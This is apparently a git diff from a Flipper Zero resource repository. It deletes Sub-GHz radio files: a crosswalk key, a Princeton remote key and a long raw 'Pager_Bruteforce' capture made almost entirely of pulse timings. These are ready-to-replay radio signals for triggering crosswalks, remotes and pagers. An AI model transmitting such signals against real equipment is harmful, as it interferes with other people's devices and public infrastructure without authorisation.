-368 461 -1580 421 -808 413 -784 811 -776 419 -802 413 -772 443 -752 847 -352 443 -356 441 -386 407 -788 431 -786 405 -384 1667 -354 869 -346 851 -748 851 -362 839 -358 831 -376 817 -780 417 -380 419 -412 389 -414 813 -354 837 -364 459 -1616 417 -784 417 -782 813 -788 427 -782 411 -788 403 -788 851 -356 441 -358 441 -356 443 -748 449 -772 413 -386 1659 -384 833 -380 813 -780 815 -388 827 -366 819 -402 821 -780 423 -368 423 -370 423 -372 845 -354 835 -382 419 -1608 447 -756 425 -808 817 -774 413 -772 447 -784 417 -780 807 -382 421 -380 419 -380 419 -776 449 -750 421 -410 1639 -394 815 -382 821 -800 799 -402 821 -360 833 -376 815 -782 419 -408 383 -414 417 -380 815 -386 799 -382 461 -1578 445 -772 409 -784 827 -798 401 -784 433 -758 435 -780 821 -384 431 -352 437 -384 439 -746 419 -808 409 -382 1665 -366 853 -368 809 -780 843 -356 835 -366 853 -374 821 -784 387 -408 417 -378 417 -378 817 -384 815 -412 413 -1626 413 -768 441 -756 847 -782 415 -784 417 -784 419 -772 841 -380 397 -376 453 -372 421 -758 431 -786 437 -362 1659 -384 813 -384 835 -772 839 -348 847 -354 837 -380 829 -764 433 -366 425 -396 429 -350 831 -376 839 -384 411 -1610 431 -772 423 -802 803 -772 441 -776 415 -802 411 -776 813 -390 413 -400 393 -398 425 -768 445 -754 423 -406 1639 -390 839 -378 807 -764 827 -400 807 -388 807 -380 845 -776 417 -380 413 -378 415 -380 861 -360 813 -382 425 -1636 391 -794 437 -774 809 -776 421 -784 447 -754 423 -784 839 -368 425 -366 425 -396 433 -752 421 -802 413 -390 1631 -416 815 -354 845 -774 839 -372 815 -366 827 -396 829 -766 441 -360 435 -360 433 -360 833 -380 813 -390 439 -1610 429 -762 431 -790 799 -794 441 -750 415 -800 409 -778 847 -356 447 -356 449 -354 449 -752 419 -802 415 -392 1641 -398 825 -374 817 -790 817 -382 801 -412 815 -354 837 -772 449 -356 441 -354 441 -354 841 -382 815 -386 445 -1580 433 -782 449 -762 823 -792 401 -780 449 -762 423 -774 817 -382 445 -354 441 -354 445 -748 455 -772 417 -388 1659 -380 821 -366 827 -782 827 -380 831 -374 819 -358 833 -812 409 -360 435 -392 407 -390 803 -412 815 -354 443 -1616 427 -782 411 -780 825 -764 433 -784 401 -786 435 -782 831 -370 423 -368 423 -398 431 -748 445 -766 433 -378 1655 -376 819 -388 837 -776 807 -378 849 -354 837 -382 815 -778 419 -382 -RAW_Data: 425 -380 427 -378 827 -360 835 -382 441 -1604 423 -760 431 -792 831 -770 433 -744 449 -740 479 -748 853 -356 443 -324 473 -354 443 -746 451 -774 445 -356 1679 -360 829 -378 819 -782 845 -356 837 -352 851 -354 835 -782 411 -396 425 -368 425 -370 849 -354 837 -382 419 -1614 415 -782 451 -742 887 -712 451 -742 479 -752 417 -778 843 -346 453 -376 417 -378 417 -774 445 -754 445 -380 1647 -376 847 -344 847 -772 835 -374 817 -366 855 -370 841 -750 417 -380 421 -380 417 -382 847 -356 879 -312 491 -30750 297 -98 131 -230 393 -1356 99 -594 97 -358 97 -20680 465 -232 165 -264 99 -1064 133 -164 131 -1320 diff --git a/assets/resources/subghz/Misc/Crosswalk_Unknown.sub b/assets/resources/subghz/Misc/Crosswalk_Unknown.sub deleted file mode 100644 index b711bc182..000000000 --- a/assets/resources/subghz/Misc/Crosswalk_Unknown.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz Key File -Version: 1 -Frequency: 868350000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: CAME -Bit: 24 -Key: 00 00 00 00 1F FF FF FF diff --git a/assets/resources/subghz/Misc/Go1.sub b/assets/resources/subghz/Misc/Go1.sub deleted file mode 100644 index 5f47d5ed8..000000000 --- a/assets/resources/subghz/Misc/Go1.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz Key File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: Princeton -Bit: 24 -Key: 00 00 00 00 00 75 ED 64 -TE: 338 diff --git a/assets/resources/subghz/Misc/Pager_Bruteforce.sub b/assets/resources/subghz/Misc/Pager_Bruteforce.sub deleted file mode 100644 index 27e8a5430..000000000 --- a/assets/resources/subghz/Misc/Pager_Bruteforce.sub +++ /dev/null @@ -1,108 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 467750000 -Preset: FuriHalSubGhzPresetCustom -Custom_preset_module: CC1101 -Custom_preset_data: 02 0D 07 04 08 32 0B 06 10 64 11 93 12 0C 13 02 14 00 15 15 18 18 19 16 1B 07 1C 00 1D 91 20 FB 21 56 22 10 00 00 C0 00 00 00 00 00 00 00 -Protocol: RAW -RAW_Data: 2950 -8252 551 -184 549 -7528 1285 -554 369 -187658 219 -138090 28885 -1206 4003 -2610 3601 -3004 3401 -3002 3401 -3002 3403 -2994 3401 -3002 3393 -3004 3401 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1396 1791 -3000 1801 -1400 1801 -1400 1801 -1402 3393 -3002 3401 -1398 1791 -3000 3401 -3002 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 3389 -3002 1801 -1400 3401 -3008 3397 -2994 3401 -1398 1791 -4422 621 -2182 1689 -2756 3511 -3098 3253 -3022 3413 -3010 3403 -3002 3407 -3004 3399 -3006 3393 -2994 3401 -3002 3395 -3002 3393 -3002 3395 -3002 3405 -1400 1793 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -3002 1801 -1396 1793 -1398 1799 -1402 3407 -3004 3393 -1398 1791 -3000 3401 -3002 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 3397 -3006 1805 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 3401 -2998 1805 -1396 3391 -3002 3393 -1402 1799 -3002 1797 -1398 3801 -2190 219 -1768 1767 -2596 3795 -2728 3493 -2872 3443 -3022 3417 -3002 3407 -3006 3393 -3002 3401 -2996 3401 -2994 3401 -3002 3395 -3002 3393 -3002 3403 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -2994 1799 -1402 1795 -1398 1801 -1400 3407 -3006 3393 -1398 1791 -2998 3403 -3002 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 3389 -3002 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1400 -RAW_Data: 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 3395 -3002 1795 -1398 3401 -3002 3403 -1396 1791 -3000 3401 -7590 1961 -2458 3749 -2762 3575 -2990 3395 -2998 3393 -2994 3407 -2998 3393 -2994 3407 -2998 3397 -2998 3393 -3002 3395 -3002 3407 -2996 3395 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -3002 1795 -1394 1797 -1400 1801 -1400 3403 -3002 3393 -1402 1799 -3002 3395 -3002 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 3393 -1402 1799 -3002 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 3403 -2994 1799 -1402 3407 -2996 3395 -1400 1795 -1394 1797 -3002 3603 -200 1143 -188 1487 -1226 1827 -2996 3419 -3010 3401 -3002 3401 -3004 3401 -2994 3401 -3002 3399 -3006 3393 -2994 3401 -2996 3401 -3002 3399 -2996 3395 -3002 3401 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -3002 1797 -1394 1795 -1402 1799 -1402 3401 -3002 3395 -1400 1795 -2992 3401 -3002 1801 -1402 1799 -1402 1801 -1396 1791 -1398 3403 -3002 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1795 -1398 1799 -1398 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1795 -1400 1799 -1402 1799 -1402 3407 -2996 1797 -1394 3397 -3002 3401 -1398 1791 -1398 1801 -1400 1801 -6446 2633 -2932 3363 -3180 -RAW_Data: 3189 -3190 3395 -2994 3393 -3002 3393 -3004 3393 -3002 3393 -3002 3403 -3002 3393 -3002 3395 -3002 3405 -2998 3393 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -3004 1795 -1394 1795 -1402 1801 -1400 3401 -2996 3401 -1400 1801 -3002 3393 -3004 1799 -1398 1791 -1398 1801 -1400 1801 -1400 3403 -3002 3399 -3004 1795 -1396 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 3401 -2996 1799 -1402 3401 -1398 1791 -2998 1801 -1402 1799 -1402 1799 -1402 4405 -2974 1981 -3218 3193 -3160 3241 -3164 3313 -3118 3309 -3084 3243 -3026 3413 -3002 3407 -3010 3409 -3002 3399 -2996 3391 -2994 3401 -2994 3403 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1396 1797 -3002 1801 -1400 1801 -1396 1791 -1400 3401 -3002 3401 -1402 1799 -2996 3401 -3002 1795 -1394 1797 -1400 1801 -1402 1799 -1402 3401 -1402 1795 -2990 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 3407 -2998 1795 -1394 3389 -1402 1801 -3002 1799 -1402 1801 -1400 3401 -3596 385 -560 373 -2330 8379 -2512 3729 -2750 3565 -2984 3385 -2990 3395 -3002 3393 -3002 3393 -3004 3401 -2998 3405 -2994 3395 -2994 3401 -3002 3403 -1400 1795 -1394 1793 -1398 1799 -1402 1799 -1402 1801 -3002 1799 -1402 1801 -1396 1791 -1398 3407 -3006 3393 -1402 1795 -2998 3403 -2994 1801 -1400 1801 -1396 1797 -1400 1801 -1402 3401 -1396 1793 -1398 1799 -3002 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 -RAW_Data: 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 3403 -3002 1799 -1402 3407 -1400 1789 -2990 1799 -1402 3401 -3002 3609 -3274 2973 -2884 3537 -2960 3375 -2986 3389 -2996 3393 -2994 3393 -3002 3403 -3002 3401 -2994 3407 -2998 3393 -2994 3401 -3004 3393 -3002 3393 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -2990 1801 -1402 1799 -1402 1799 -1402 3393 -3002 3403 -1400 1795 -2992 3401 -3002 1801 -1402 1795 -1398 1801 -1400 3401 -3002 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 3401 -3002 1797 -1398 3401 -1396 1797 -3002 1801 -1400 3403 -1396 1791 -3800 205 -3344 203 -612 2395 -2560 3555 -2896 3655 -2830 3419 -3014 3407 -3004 3393 -3004 3401 -2994 3401 -2994 3395 -3002 3401 -3002 3395 -3002 3401 -2998 3397 -1398 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -3004 1799 -1402 1799 -1398 1791 -1398 3403 -3002 3401 -1400 1801 -3002 3395 -3002 1799 -1398 1791 -1398 1801 -1400 3407 -3006 1795 -1394 3389 -3002 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 3407 -2998 1795 -1394 3397 -1402 1799 -3002 3395 -3002 1795 -1398 4003 -4020 1655 -3022 3323 -3148 3163 -3176 3385 -2990 3393 -2996 3401 -3002 3401 -2994 -RAW_Data: 3395 -3002 3401 -3002 3395 -3002 3401 -2994 3393 -3004 3401 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -3002 1795 -1394 1797 -1400 1801 -1402 3401 -2994 3401 -1402 1799 -3004 3397 -3006 1795 -1394 1791 -1400 1799 -1402 3401 -3002 3401 -2996 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1398 1797 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1396 1797 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 3401 -3002 1801 -1400 3407 -1400 1789 -2990 3407 -3004 3395 -8162 1623 -2776 3591 -2998 3389 -3000 3397 -2994 3393 -3002 3395 -3002 3401 -3002 3395 -3002 3393 -3002 3401 -2996 3401 -2994 3401 -3002 3395 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -3002 1799 -1398 1797 -1400 1801 -1400 3395 -3002 3401 -1398 1791 -3000 3401 -3002 1801 -1400 1795 -1394 1797 -1402 3405 -3006 3393 -1402 1799 -2996 1795 -1398 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 3403 -3002 1799 -1398 3389 -1402 1801 -3002 3401 -1396 1793 -2998 3403 -1030 647 -3066 1817 -2644 3739 -2768 3575 -2986 3389 -2994 3395 -3002 3393 -3002 3399 -3006 3393 -2994 3401 -3004 3393 -3002 3393 -3002 3395 -3002 3401 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -3002 1801 -1396 1793 -1398 1799 -1402 3407 -3004 3399 -1404 1793 -2986 3401 -3002 1797 -1394 1795 -1402 1801 -1400 3407 -1404 1795 -2992 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 -RAW_Data: 1795 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1795 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1398 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1795 -1402 3407 -3004 1795 -1394 3391 -1404 1801 -2994 3403 -1400 1795 -1394 1797 -6646 2743 -2920 3547 -2968 3181 -3190 3391 -2994 3393 -3002 3403 -2994 3401 -3002 3393 -3004 3393 -3002 3393 -3002 3403 -2994 3401 -3002 3393 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -3006 1799 -1394 1791 -1398 1801 -1400 3403 -3002 3401 -1398 1791 -2998 3403 -3002 1795 -1398 1801 -1400 1801 -1400 3407 -1400 1791 -2996 3405 -2994 1801 -1398 1795 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 3391 -3002 1799 -1402 3401 -1402 1799 -1398 1791 -3000 1799 -1402 1801 -1400 3595 -1062 1325 -884 2861 -2628 3677 -2784 3481 -2744 3683 -2912 3513 -2916 3333 -3156 3175 -3182 3191 -3190 3393 -2994 3403 -2994 3401 -3002 3393 -3004 3393 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1795 -2992 1801 -1400 1801 -1400 1801 -1402 3405 -2998 3393 -1402 1795 -2992 3401 -3002 1801 -1400 1795 -1398 1801 -1402 3401 -1396 1793 -1398 1799 -3004 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1797 -1398 3401 -3002 1801 -1396 3389 -1402 1801 -1400 1801 -3002 1801 -1396 3391 -6068 219 -1318 1767 -2830 3479 -2936 3489 -2910 3509 -2922 3341 -3162 3175 -3186 3391 -2994 3393 -2998 3407 -2994 3393 -3002 3393 -3004 3401 -3002 3401 -1398 1791 -1394 -RAW_Data: 1797 -1400 1801 -1400 1801 -1402 1799 -3002 1797 -1394 1795 -1402 1801 -1400 3401 -3002 3407 -1400 1789 -2990 3401 -3004 1799 -1402 1799 -1402 1795 -1394 3397 -1402 1801 -1400 1801 -1400 1801 -2994 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 3401 -3002 1797 -1398 3401 -1396 1797 -1402 1799 -3002 3403 -2994 4221 -2588 2113 -3134 3299 -3086 3259 -3026 3409 -3002 3407 -3006 3397 -3006 3393 -3002 3395 -3002 3393 -3002 3407 -2998 3393 -3002 3393 -3004 3401 -1396 1793 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -3002 1801 -1400 1801 -1396 1793 -1398 3401 -3002 3401 -1402 1795 -2992 3401 -3002 1801 -1396 1797 -1402 3401 -3002 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1398 3401 -3006 1795 -1394 3391 -1400 1801 -1400 1801 -3002 3393 -1402 1801 -3802 207 -2344 219 -1326 1669 -2836 3513 -3130 3147 -3176 3181 -3186 3391 -2994 3393 -3002 3395 -3002 3401 -2994 3401 -3004 3393 -3002 3399 -3004 3395 -2994 3401 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -3002 1795 -1396 1795 -1402 1799 -1402 3401 -3002 3403 -1396 1791 -3000 3407 -3004 1797 -1394 1791 -1398 3401 -3002 1801 -1400 1797 -1394 3397 -3002 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 -RAW_Data: 1801 